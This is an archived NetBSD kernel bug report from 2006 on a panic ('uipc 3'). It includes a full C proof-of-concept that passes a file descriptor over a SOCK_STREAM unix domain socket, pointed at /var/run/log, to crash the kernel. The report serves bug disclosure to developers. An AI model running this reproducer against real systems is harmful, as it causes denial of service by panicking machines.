Subject: kern/32856: panic: uipc 3
To: None <kern-bug-people@netbsd.org, gnats-admin@netbsd.org,>
From: Christian Biere <christianbiere@gmx.de>
List: netbsd-bugs
Date: 02/16/2006 19:55:00
>Number:         32856
>Category:       kern
>Synopsis:       panic: uipc 3
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    kern-bug-people
>State:          open
>Class:          sw-bug
>Submitter-Id:   net
>Arrival-Date:   Thu Feb 16 19:55:00 +0000 2006
>Originator:     Christian Biere
>Release:        NetBSD 3.99.15
>Environment:
System: NetBSD cyclonus 3.99.15 NetBSD 3.99.15 (STARSCREAM) #3: Thu Feb 16 19:00:19 CET 2006 bin@cyclonus:/o/NetBSD/obj/sys/arch/i386/compile/STARSCREAM i386
Architecture: i386
Machine: i386
>Description:
By sending a datagram with a control message over a unix domain socket
to a unix domain socket of type SOCK_STREAM it is possible to cause
a kernel panic.
>How-To-Repeat:

$ cat > uipc3.c <<EOF && cc -o uipc3 && ./uipc3 /var/run/log
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <netinet/in.h>
#include <errno.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <assert.h>

#define ARRAY_LEN(x) (sizeof (x)[0] / sizeof (x))

static int
set_socket_address(struct sockaddr_un *sun, const char *path)
{
  static const struct sockaddr_un zero_sun;

  assert(sun);
  assert(path);
  
  *sun = zero_sun;
  if (strlen(path) >= sizeof sun->sun_path) {
    fprintf(stderr, "sockpath is too long\n");
    return -1;
  }
  strncpy(sun->sun_path, path, sizeof sun->sun_path);
  sun->sun_len = SUN_LEN(sun);
  return 0;
}

static int
create_new_socket(int stype)
{
  int fd;

  fd = socket(PF_LOCAL, stype, 0);
  if (-1 == fd) {
    perror("socket(PF_LOCAL, ..., 0)");
    return -1;
  }

  return fd;
}

static int
send_msg(const int fd, const char * const dst_path,
  const struct msghdr * const msg_ptr)
{
  struct msghdr msg;
  struct sockaddr_un sun;

  assert(-1 != fd);
  assert(dst_path);
  assert(msg_ptr);
  
  if (set_socket_address(&sun, dst_path))
    return -1;

  msg = *msg_ptr;
  msg.msg_name = &sun;
  msg.msg_namelen = sizeof sun;
  
  if ((ssize_t) -1 == sendmsg(fd, &msg, 0)) {
    perror("sendmsg()");
    return -1;
  }

  return 0;
}

static int
send_descriptors(const int fd, const char * const dst_path,
  const int * const fd_array, const size_t num_fds)
{
  static const struct cmsghdr zero_cmsg;
  static const struct msghdr zero_msg;
  static struct iovec iov[1];
  struct msghdr msg;
  struct cmsghdr *cmsg;
  size_t data_size;
  ssize_t ret;

  assert(-1 != fd);
  assert(dst_path);
  assert(fd_array);

  data_size = num_fds * sizeof fd_array[0];

  cmsg = malloc(CMSG_SPACE(data_size));
  if (!cmsg) {
    perror("malloc()");
    return -1;
  }

  *cmsg = zero_cmsg;
  cmsg->cmsg_len = CMSG_LEN(data_size);
  cmsg->cmsg_level = SOL_SOCKET;
  cmsg->cmsg_type = SCM_RIGHTS;

  memcpy((char *) cmsg + CMSG_LEN(0), fd_array, data_size);

  msg = zero_msg;
  msg.msg_iov = iov;
  msg.msg_iovlen = ARRAY_LEN(iov);
  msg.msg_control = cmsg;
  msg.msg_controllen = CMSG_LEN(data_size);

  ret = send_msg(fd, dst_path, &msg);
  free(cmsg);
  return ret;
}

void
usage(void)
{
  printf("uipc3 PATH\n");
  exit(EXIT_FAILURE);
}

int
main(int argc, char *argv[])
{
  int s;

  if (argc != 2)
    usage();

  s = create_new_socket(SOCK_STREAM);
  if (-1 == s)
    exit(EXIT_FAILURE);
 
  {
    int fd;

    fd = STDOUT_FILENO;
    send_descriptors(s, argv[1], &fd, 1);
  }

  return 0;
}

/* vi: set ai et ts=2 sts=2 sw=2 cindent: */
EOF

>Fix: